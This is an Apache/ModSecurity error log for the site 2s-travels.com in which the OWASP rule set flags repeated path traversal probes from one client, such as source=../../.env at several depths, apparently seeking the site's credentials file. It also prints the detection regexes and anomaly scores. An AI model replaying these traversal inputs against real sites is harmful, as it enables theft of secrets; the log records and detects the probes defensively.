[Fri Jul 17 08:55:07.402270 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?source=..%2F..%2F.env&ts=NP9Bxr2Wrobkj3Kcp6lKU9QlIml3rpZ6Yww_PveNceg8nrteQzH0HTFpiVx7_ll6ATqugfL2zqG5PN7-5vQHCfxk18CcvbEwv3CreN0-6OTRZoC1AmAvif86h76282vdy8GJUP289Np-DFXCObrhUX212oWzyIUZoQWGhDU4XBclvU9EXC-2wGtRDGT-yOTehf5s6dCDft3iVTeqFQzT8VPs0HRCwNX5p7vzpg7SUm1CIker3XETrGyZ0B3gOo9g4M-cFEbDGX7YhX3B6KCf09Zw&junk=PEZPSCMHOR62CQF5NPJUVE3COZFKIRNSE5CF34LUO5TWPAE6NUJTTUFQN3XUHBOD5O6BEDFQ4YEV6NJKMIZQ47ESS24DPLCBC67TBVGPLP3HJ5IOQBX3KERIZQOUA3I422HPMG3E4EK5RUP..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkzsMb3am0TgkjETarwAAAAo"]
[Fri Jul 17 08:55:07.402324 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:source: ../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkzsMb3am0TgkjETarwAAAAo"]
[Fri Jul 17 08:55:07.402373 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?source=../../.env&ts=NP9Bxr2Wrobkj3Kcp6lKU9QlIml3rpZ6Yww_PveNceg8nrteQzH0HTFpiVx7_ll6ATqugfL2zqG5PN7-5vQHCfxk18CcvbEwv3CreN0-6OTRZoC1AmAvif86h76282vdy8GJUP289Np-DFXCObrhUX212oWzyIUZoQWGhDU4XBclvU9EXC-2wGtRDGT-yOTehf5s6dCDft3iVTeqFQzT8VPs0HRCwNX5p7vzpg7SUm1CIker3XETrGyZ0B3gOo9g4M-cFEbDGX7YhX3B6KCf09Zw&junk=PEZPSCMHOR62CQF5NPJUVE3COZFKIRNSE5CF34LUO5TWPAE6NUJTTUFQN3XUHBOD5O6BEDFQ4YEV6NJKMIZQ47ESS24DPLCBC67TBVGPLP3HJ5IOQBX3KERIZQOUA3I422HPMG3E4EK5RUPRKDNQ46P2PWW..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkzsMb3am0TgkjETarwAAAAo"]
[Fri Jul 17 08:55:07.402412 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?source=../../.env&ts=np9bxr2wrobkj3kcp6lku9qliml3rpz6yww_pvenceg8nrteqzh0htfpivx7_ll6atqugfl2zqg5pn7-5vqhcfxk18ccvbewv3cren0-6otrzoc1amavif86h76282vdy8gjup289np-dfxcobrhux212owzyiuzoqwghdu4xbclvu9exc-2wgtrdgt-yotehf5s6dcdft3ivteqfqzt8vps0hrcwnx5p7vzpg7sum1ciker3xetrgyz0b3goo9g4m-cfebdgx7yhx3b6kcf09zw&junk=pezpscmhor62cqf5npjuve3cozfkirnse5cf34luo5twpae6nujttufqn3xuhbod5o6bedfq4yev6njkmizq47ess24dplcbc67tbvgplp3hj5ioqbx3kerizqoua3i422hpmg3e4ek5ruprkdnq46p2pww..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkzsMb3am0TgkjETarwAAAAo"]
[Fri Jul 17 08:55:07.402433 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:source: ../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkzsMb3am0TgkjETarwAAAAo"]
[Fri Jul 17 08:55:07.402450 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:source: ../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkzsMb3am0TgkjETarwAAAAo"]
[Fri Jul 17 08:55:07.403804 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkzsMb3am0TgkjETarwAAAAo"]
[Fri Jul 17 08:55:07.403947 2026] [hostinglimits:warn] [pid 2028246:tid 2028246] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2028246) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.404342 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkzsMb3am0TgkjETarwAAAAo"]
[Fri Jul 17 08:55:07.406763 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?source=..%2F..%2F..%2F.env&cb=zHbz4RW_WmkbSA1Zk2P0btNwRRB6B12Jq0n6WxeeHGmYbSDayy2KnsGZIDIF4ypCPC9Wd_efnEz7yAEXK1FtZ3XUGpSgVOhj5BRn2bRti-3hRmk_ZNP_4H8bP-OIhE4eUEUMKVePx0DbgEYnnF3_RG2HCBwa6rwhCiT_KngKHjxXjEXQpSJKa1C46OO4ALyiebcdCKRhQXmrWXk_81iJ7o7Rdvpeg8TxlVjli0HX1YA391Wk4AbSIZrXi5JJv4sW5X2yFe2DOz6MbyduYDlo7hnu&token=MWFY3NOM42T4UZNZMXOXEYWE2SHIOVEWXRE6B3ZLRVG3UXOLJTPFJ6D5J25UA6U6PTU5PKTM3WN34FU3XAQ3MZ6IR7TBZYYPOIJUPNTC2LGMBWSBE6GKFGWEVL4RIEDVH4HUAODFW..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95rAAAAAw"]
[Fri Jul 17 08:55:07.406810 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:source: ../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95rAAAAAw"]
[Fri Jul 17 08:55:07.406855 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?source=../../../.env&cb=zHbz4RW_WmkbSA1Zk2P0btNwRRB6B12Jq0n6WxeeHGmYbSDayy2KnsGZIDIF4ypCPC9Wd_efnEz7yAEXK1FtZ3XUGpSgVOhj5BRn2bRti-3hRmk_ZNP_4H8bP-OIhE4eUEUMKVePx0DbgEYnnF3_RG2HCBwa6rwhCiT_KngKHjxXjEXQpSJKa1C46OO4ALyiebcdCKRhQXmrWXk_81iJ7o7Rdvpeg8TxlVjli0HX1YA391Wk4AbSIZrXi5JJv4sW5X2yFe2DOz6MbyduYDlo7hnu&token=MWFY3NOM42T4UZNZMXOXEYWE2SHIOVEWXRE6B3ZLRVG3UXOLJTPFJ6D5J25UA6U6PTU5PKTM3WN34FU3XAQ3MZ6IR7TBZYYPOIJUPNTC2LGMBWSBE6GKFGWEVL4RIEDVH4HUAODFWEZ4Q2YSBEOJNNW..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95rAAAAAw"]
[Fri Jul 17 08:55:07.406880 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?source=../../../.env&cb=zhbz4rw_wmkbsa1zk2p0btnwrrb6b12jq0n6wxeehgmybsdayy2knsgzidif4ypcpc9wd_efnez7yaexk1ftz3xugpsgvohj5brn2brti-3hrmk_znp_4h8bp-oihe4eueumkvepx0dbgeynnf3_rg2hcbwa6rwhcit_kngkhjxxjexqpsjka1c46oo4alyiebcdckrhqxmrwxk_81ij7o7rdvpeg8txlvjli0hx1ya391wk4absizrxi5jjv4sw5x2yfe2doz6mbyduydlo7hnu&token=mwfy3nom42t4uznzmxoxeywe2shiovewxre6b3zlrvg3uxoljtpfj6d5j25ua6u6ptu5pktm3wn34fu3xaq3mz6ir7tbzyypoijupntc2lgmbwsbe6gkfgwevl4riedvh4huaodfwez4q2ysbeojnnw..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95rAAAAAw"]
[Fri Jul 17 08:55:07.406911 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:source: ../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95rAAAAAw"]
[Fri Jul 17 08:55:07.406928 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:source: ../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95rAAAAAw"]
[Fri Jul 17 08:55:07.407265 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?source=..%2F..%2F..%2F..%2F.env&ts=-l9gVWp7SlhbA54gbY2pGaNrXnMi0z7qOPqVgeh-KkYc0lkfAEoWzjAMZyAONGiEBwwXVUpIJNnROpBgy4_JQQRGMNu-3Jn_9o9egHKPRgQz8Otlb-UxMOKdhDQkI4f858JVfVmowdNNloXfgGEK8jwDV2nNLghMnBg_tMrBdfrSPIFzL10bcDtnrZrwqFdo-itAN8EpCfUFygkg_YBNAjDqZuAcOySjWnbIPQHKmz2xj5QfzV8puaKgX4UPkOQ5Ve0cnIr27hveO2UZB97h_eiE&extra=SFZ76S6NDV6JXNKDXWDBLTEOBE2NJM4SNP2YTDF6F4ASTXSSAMUKJAYQCJF2L5XSMORY62FGA6SXBWAS2IHIWS3MOYNFPS2ZPYI6TP56ZCWB3N32OGO5776OAE73C2QKJLZ7..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUZQAAABI"]
[Fri Jul 17 08:55:07.407301 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:source: ../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUZQAAABI"]
[Fri Jul 17 08:55:07.407373 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?source=../../../../.env&ts=-l9gVWp7SlhbA54gbY2pGaNrXnMi0z7qOPqVgeh-KkYc0lkfAEoWzjAMZyAONGiEBwwXVUpIJNnROpBgy4_JQQRGMNu-3Jn_9o9egHKPRgQz8Otlb-UxMOKdhDQkI4f858JVfVmowdNNloXfgGEK8jwDV2nNLghMnBg_tMrBdfrSPIFzL10bcDtnrZrwqFdo-itAN8EpCfUFygkg_YBNAjDqZuAcOySjWnbIPQHKmz2xj5QfzV8puaKgX4UPkOQ5Ve0cnIr27hveO2UZB97h_eiE&extra=SFZ76S6NDV6JXNKDXWDBLTEOBE2NJM4SNP2YTDF6F4ASTXSSAMUKJAYQCJF2L5XSMORY62FGA6SXBWAS2IHIWS3MOYNFPS2ZPYI6TP56ZCWB3N32OGO5776OAE73C2QKJLZ7IK62J4PORL2R34BP..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUZQAAABI"]
[Fri Jul 17 08:55:07.407398 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt28gAAACM"]
[Fri Jul 17 08:55:07.407404 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?source=../../../../.env&ts=-l9gvwp7slhba54gby2pganrxnmi0z7qopqvgeh-kkyc0lkfaeowzjamzyaongiebwwxvupijnnropbgy4_jqqrgmnu-3jn_9o9eghkprgqz8otlb-uxmokdhdqki4f858jvfvmowdnnloxfggek8jwdv2nnlghmnbg_tmrbdfrspifzl10bcdtnrzrwqfdo-itan8epcfufygkg_ybnajdqzuacoysjwnbipqhkmz2xj5qfzv8puakgx4upkoq5ve0cnir27hveo2uzb97h_eie&extra=sfz76s6ndv6jxnkdxwdblteobe2njm4snp2ytdf6f4astxssamukjayqcjf2l5xsmory62fga6sxbwas2ihiws3moynfps2zpyi6tp56zcwb3n32ogo5776oae73c2qkjlz7ik62j4porl2r34bp..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUZQAAABI"]
[Fri Jul 17 08:55:07.407432 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:source: ../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUZQAAABI"]
[Fri Jul 17 08:55:07.407450 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:source: ../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUZQAAABI"]
[Fri Jul 17 08:55:07.407535 2026] [hostinglimits:warn] [pid 2018770:tid 2018770] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018770) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.407816 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgky0HS8lGbZyK8qt28gAAACM"]
[Fri Jul 17 08:55:07.408067 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95rAAAAAw"]
[Fri Jul 17 08:55:07.408174 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.408416 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk4l9vhFBGA6D8l95rAAAAAw"]
